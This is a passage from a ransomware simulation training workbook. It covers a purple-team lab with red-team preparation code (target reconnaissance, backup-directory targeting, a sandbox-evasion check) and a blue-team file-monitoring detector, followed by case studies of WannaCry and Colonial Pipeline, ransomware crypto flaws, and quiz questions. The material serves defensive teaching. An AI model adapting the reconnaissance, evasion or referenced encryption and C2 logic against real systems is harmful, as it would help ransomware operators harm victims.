}) return alerts alerts = detect_beaconing(SAMPLE_DNS_LOG) for a in alerts: print(f"\n{'='*50}") for k, v in a.items(): print(f" {k:20s}: {v}")
Objective: Run the complete Module 10 C2 simulation, capture traffic, and produce a network-level IoC report.
Launch c2_server_sim.py and tcpdump simultaneously. Register two "victims" with different IDs.
Open with tcpdump -r c2_capture.pcap -A. Identify: source IP, destination port, HTTP method, Content-Length header value, User-Agent string.
Modify dns_beacon_analysis.py to use your own synthetic log with one beaconing client and two normal clients. Verify only the beaconer is flagged.
Write a network signature rule (Suricata syntax) that matches the C2 registration POST. Include content matches for "POST /register" and "victim_id".
Purple teaming means running an attack and a defence simultaneously, with both sides sharing information to improve detections in real time. In this module you'll play both roles, using everything from Modules 01–10 in a coordinated tabletop that mirrors a real enterprise incident.
~/lab/attacker/module_04/encryptor.py and file_scanner.py~/lab/attacker/module_05/key_manager.py~/lab/attacker/module_07/canary_monitor.py~/lab/attacker/module_10/c2_server_sim.py and c2_beacon.py~/lab/attacker/purple_team/. They import from the module directories using sys.path.insert, so the relative paths matter.
Use the three-pane tmux layout from Module 01 section 1.7. Run this single command to create it:
tmux new-session -s purpleteam \; split-window -h \; split-window -v \; select-pane -t 0
c2_server_sim.py)SCENARIO: A threat actor has obtained RDP credentials via a phishing attack. They have planted the ransomware payload in ~/lab/victims/ (simulating a file server) and are about to execute. YOUR LAB ENVIRONMENT MAPS TO: ~/lab/victims/ → Production file server share (Finance + HR documents) ~/lab/keys/ → Attacker's key server (simulated local) 127.0.0.1:8888 → Attacker's C2 server (loopback only) ~/lab/forensics/ → SIEM / EDR telemetry output ASSETS TO PROTECT: ATTACKER OBJECTIVES: ✓ 10 victim files ✗ Encrypt all files ✓ Canary files (early warning) ✗ Exfiltrate key blob to C2 ✓ C2 comms (will alert if reached) ✗ Drop ransom note ✓ Forensic log integrity ✗ Delete forensic evidence
Before executing, the red team must complete preparation steps — mirroring real attacker tradecraft.
import os, subprocess, time from pathlib import Path from key_manager import attacker_generate_keypair def red_team_prep(): print("[RED] === Pre-Attack Preparation Phase ===") # Step 1: Generate RSA keypair (attacker's server would do this) print("[RED] Generating C2 RSA key pair...") attacker_generate_keypair(str(Path.home() / 'lab/keys')) # Step 2: Verify victim directory has files to target targets = list(Path.home().joinpath('lab/victims').rglob('*')) files = [f for f in targets if f.is_file()] print(f"[RED] Target reconnaissance: {len(files)} files found in ~/lab/victims/") # Step 3: Identify high-value targets (simulate priority targeting) high_value = [f for f in files if any(kw in f.name.lower() for kw in ['salary','contract','budget','report'])] print(f"[RED] High-value targets identified: {[f.name for f in high_value]}") # Step 4: Check for backups (real ransomware checks for backup software) backup_indicators = [str(Path.home() / 'lab/backups'), str(Path.home() / 'lab/snapshots')] for p in backup_indicators: exists = Path(p).exists() print(f"[RED] Backup directory {p}: {'FOUND — must target' if exists else 'not found'}") # Step 5: Simulate environment check (sandbox evasion) cpu_count = os.cpu_count() print(f"[RED] CPU count: {cpu_count} — {'PROCEEDING' if cpu_count > 1 else 'SANDBOX DETECTED — aborting'}") print("\n[RED] Preparation complete. Ready to execute.") print("[RED] Waiting 5 seconds before execution (simulating attacker timing)...") time.sleep(5) red_team_prep()
import hashlib, time, os, threading, json from pathlib import Path # ── Configuration ──────────────────────────────────────────────────── WATCH_DIR = str(Path.home() / 'lab/victims') LOG_DIR = str(Path.home() / 'lab/forensics') ALERT_LOG = Path(LOG_DIR) / 'blue_team_alerts.json' CHECK_INTERVAL = 0.5 # seconds between polls ENTROPY_THRESHOLD = 7.2 # bits/byte SUSPICIOUS_NAMES = ['readme', 'how_to', 'decrypt', 'ransom', 'locked'] alerts = [] def file_entropy(path: Path) -> float: import math data = path.read_bytes() if not data: return 0 freq = [data.count(bytes([b])) / len(data) for b in range(256)] return -sum(p * math.log2(p) for p in freq if p > 0) def alert(severity: str, message: str, details: dict = None): timestamp = time.time() entry = {'severity': severity, 'message': message, 'timestamp': timestamp, 'details': details or {}} alerts.append(entry) ALERT_LOG.write_text(json.dumps(alerts, indent=2)) indicator = '🔴' if severity == 'CRITICAL' else ('🟡' if severity == 'HIGH' else '🟢') print(f"[{indicator} ALERT] {severity}: {message}") def snapshot_directory(watch_dir: str) -> dict: """Take a snapshot of all files: path → (mtime, size)""" snap = {} for f in Path(watch_dir).rglob('*'): if f.is_file(): snap[str(f)] = (f.stat().st_mtime, f.stat().st_size) return snap def monitor_loop(): print("[BLUE] Starting file system monitor...") prev_snap = snapshot_directory(WATCH_DIR) encrypted_ct = 0 start_time = time.time() while True: time.sleep(CHECK_INTERVAL) curr_snap = snapshot_directory(WATCH_DIR) elapsed = time.time() - start_time # Detect new or modified files for path_str, (mtime, size) in curr_snap.items(): path = Path(path_str) # New file appeared if path_str not in prev_snap: # Check for suspicious name patterns if any(s in path.name.lower() for s in SUSPICIOUS_NAMES): alert('CRITICAL', f"Suspicious file created: {path.name}", {'path': path_str, 'size': size}) # Check extension if path.suffix in {'.locked', '.enc', '.crypt', '.darkenc'}: encrypted_ct += 1 if encrypted_ct == 1: alert('HIGH', f"First encrypted file detected at T+{elapsed:.1f}s", {'file': path.name}) if encrypted_ct == 5: alert('CRITICAL', f"5 files encrypted — ransomware confirmed at T+{elapsed:.1f}s", {'count': encrypted_ct}) # Entropy check on new files try: ent = file_entropy(path) if ent > ENTROPY_THRESHOLD: alert('HIGH', f"High-entropy new file: {path.name} ({ent:.2f} bits/byte)", {'entropy': round(ent,2)}) except: pass # Detect deleted files (originals removed after encryption) deleted = set(prev_snap) - set(curr_snap) if len(deleted) >= 3: alert('CRITICAL', f"Mass file deletion detected: {len(deleted)} files removed", {'deleted': list(deleted)[:5]}) prev_snap = curr_snap if __name__ == '__main__': Path(LOG_DIR).mkdir(exist_ok=True) monitor_thread = threading.Thread(target=monitor_loop, daemon=True) monitor_thread.start() print("[BLUE] Monitor active. Press Ctrl+C to stop and review alerts.") try: while True: time.sleep(1) except KeyboardInterrupt: print(f"\n[BLUE] Monitoring stopped. Total alerts: {len(alerts)}") print(f"[BLUE] Alert log: {ALERT_LOG}")
With both scripts running in parallel terminals, the red team executes the full attack chain from Modules 04 and 05 (file encryption + C2 registration). The blue team's monitor will fire alerts. Record the timeline below.
Track your exercise results. This mirrors how real purple teams measure effectiveness.
Objective: Execute the complete red-team attack while the blue-team monitor runs, then write a joint after-action report.
Run blue_team_monitor.py in Terminal 1. Confirm it says "Monitor active."
Run c2_server_sim.py in Terminal 2.
Run red_team_setup.py then orchestrator.py (with C2 beacon integrated) in Terminal 3. Note execution time.
At what elapsed time did the first ALERT fire? After how many encrypted files? How does this compare to your canary experiment in Module 07?
Using the alert log (blue_team_alerts.json) and encryption log, write a 1-page report covering: attack timeline, detection latency, files lost before detection, gaps identified, recommended improvements.
Every technique in this workbook maps to decisions made — or missed — in real incidents. This final module applies your lab knowledge to documented attacks, reinforcing the connection between theory, simulation, and operational reality.
EternalBlue (MS17-010) — an NSA-developed SMB exploit leaked by Shadow Brokers. Required no user interaction. Spread across LAN automatically.
AES-128-CBC per file. The AES key encrypted with RSA-2048. Implementation had a weakness: the RSA private key was stored in process memory long enough for researchers to recover it on unpatched Windows XP.
WannaCry checked whether a specific domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com) resolved. A security researcher registered it for $10.69 — instantly halting 200,000 infections globally.
NHS UK lost £92M. 200,000 victims across 150 countries. Hospitals diverted ambulances. $4B in damages estimated. Entirely preventable: the patch (MS17-010) had been available for 59 days.
| Factor | Detail | Lab Module Relevance |
|---|---|---|
| Initial Access | Compromised VPN password (no MFA) found on dark web | Module 03: Phase 1 — Initial Access |
| Dwell Time | DarkSide was in the network for ~2 months before encrypting | Module 06: IoC detection; long dwell = extensive lateral movement |
| Double Extortion | 100 GB of data exfiltrated before encryption | Module 10: Network monitoring; sustained large outbound transfers |
| Ransom Paid | $4.4M in Bitcoin paid within hours of attack | Module 07: IR playbook — payment is rarely the right first step |
| Key Recovery | DOJ recovered $2.3M by seizing C2 server Bitcoin wallet | Module 10: C2 server architecture is an attackable target too |
| Business Impact | Fuel shortages across US East Coast; $90M total cost | Module 07: Backup strategy and blast-radius limitation |
Modern ransomware is not written and deployed by the same people. The RaaS ecosystem separates the "developers" (who write and maintain the ransomware code and infrastructure) from the "affiliates" (who conduct the actual attacks and pay a commission of 20–30% to the developers).
┌────────────────────────────────────────────────────────┐
│ RANSOMWARE DEVELOPER (Core Group) │
│ • Writes and maintains the encryption payload │
│ • Operates the C2 infrastructure and payment portal │
│ • Provides "affiliate panel" (web dashboard) │
│ • Takes 20–30% of every ransom payment │
└───────────────────────┬────────────────────────────────┘
│ Licenses access to
┌─────────────┼─────────────┐
▼ ▼ ▼
Affiliate 1 Affiliate 2 Affiliate 3
(hackers) (hackers) (hackers)
• Conduct • Conduct • Conduct
intrusion intrusion intrusion
• Deploy • Deploy • Deploy
payload payload payload
• Negotiate • Negotiate • Negotiate
ransom ransom ransom
• Keep 70-80% • Keep 70-80% • Keep 70-80%
Many early ransomware strains were cryptographically broken — not because the algorithms were weak, but because of implementation errors. These are the bugs that allowed free decryption.
| Strain | Cryptographic Flaw | How it was Broken |
|---|---|---|
| CryptoDefense (2014) | Used Windows CryptGenKey, which left the private key in %APPDATA% |
Analysts found the private key file before the attacker's cleanup ran |
| CryptoLocker (2013–14) | Correct AES-256 + RSA-2048 — no crypto flaw | C2 servers seized; database of all private keys recovered by law enforcement |
| TeslaCrypt (2015–16) | Used a symmetric key derived from a predictable seed (timestamp-based) | Researchers brute-forced the key space using known timestamps |
| WannaCry (2017) | RSA key pairs left in memory; prime factors recoverable on Windows XP | wanakiwi tool reconstructed private key from memory on unpatched systems |
| STOP/Djvu (2018+) | Used hardcoded offline key when C2 was unreachable | Emsisoft published decryptor using the static offline key |
| Zeppelin (2019–22) | XOR-based key derivation with predictable components | Unit 221B reverse-engineered key derivation; Emsisoft provided decryptor |
Q6. A ransomware sample generates a unique AES key for each file using os.urandom(32) but uses the same RSA public key to wrap all of them. The attacker's server is taken down before victims can pay. Which victims, if any, can recover their files?
Q7. You are reviewing the blue team alert log and notice the first CRITICAL alert fired 4.2 seconds after execution. The encryptor processes 200 files/second. How many files are beyond recovery at alert time, and what single change would have the biggest impact on reducing this number?
Q8. Your YARA rule for detecting encrypted files (entropy > 7.2) returns 300 false positives when run against a typical workstation. What is the most effective technique to reduce false positives while maintaining detection of ransomware-encrypted files?
Lab setup → Cryptography → Architecture → Encryption engine → Key management → Detection → IR → Evasion → YARA → Network → Purple team → Case studies.
Every module included working Python code and exercises with measurable outcomes — entropy ratios, detection latencies, YARA precision scores.
AES-256-GCM, RSA-4096, hybrid encryption, file format design, forensic analysis, YARA authoring, network traffic analysis, purple team methodology.
Every attacker technique was paired with a detection or mitigation strategy. Understanding the attack is the foundation of the defence.
You've reached the end of the Ransomware Simulation Workbook. If you've completed all exercises, you should now have a deep understanding of the technical, forensic, and operational dimensions of ransomware attacks.
AES-256-GCM, RSA-4096, hybrid encryption, IV management, OAEP padding, key derivation.
7-phase kill chain, key management pipelines, C2 mechanics, ransom note generation, victim ID schemes.
Entropy analysis, file header carving, IoC identification, log analysis, memory forensics windows.
Canary detection, 3-2-1-1-0 backups, EDR tuning, network segmentation, IR playbooks.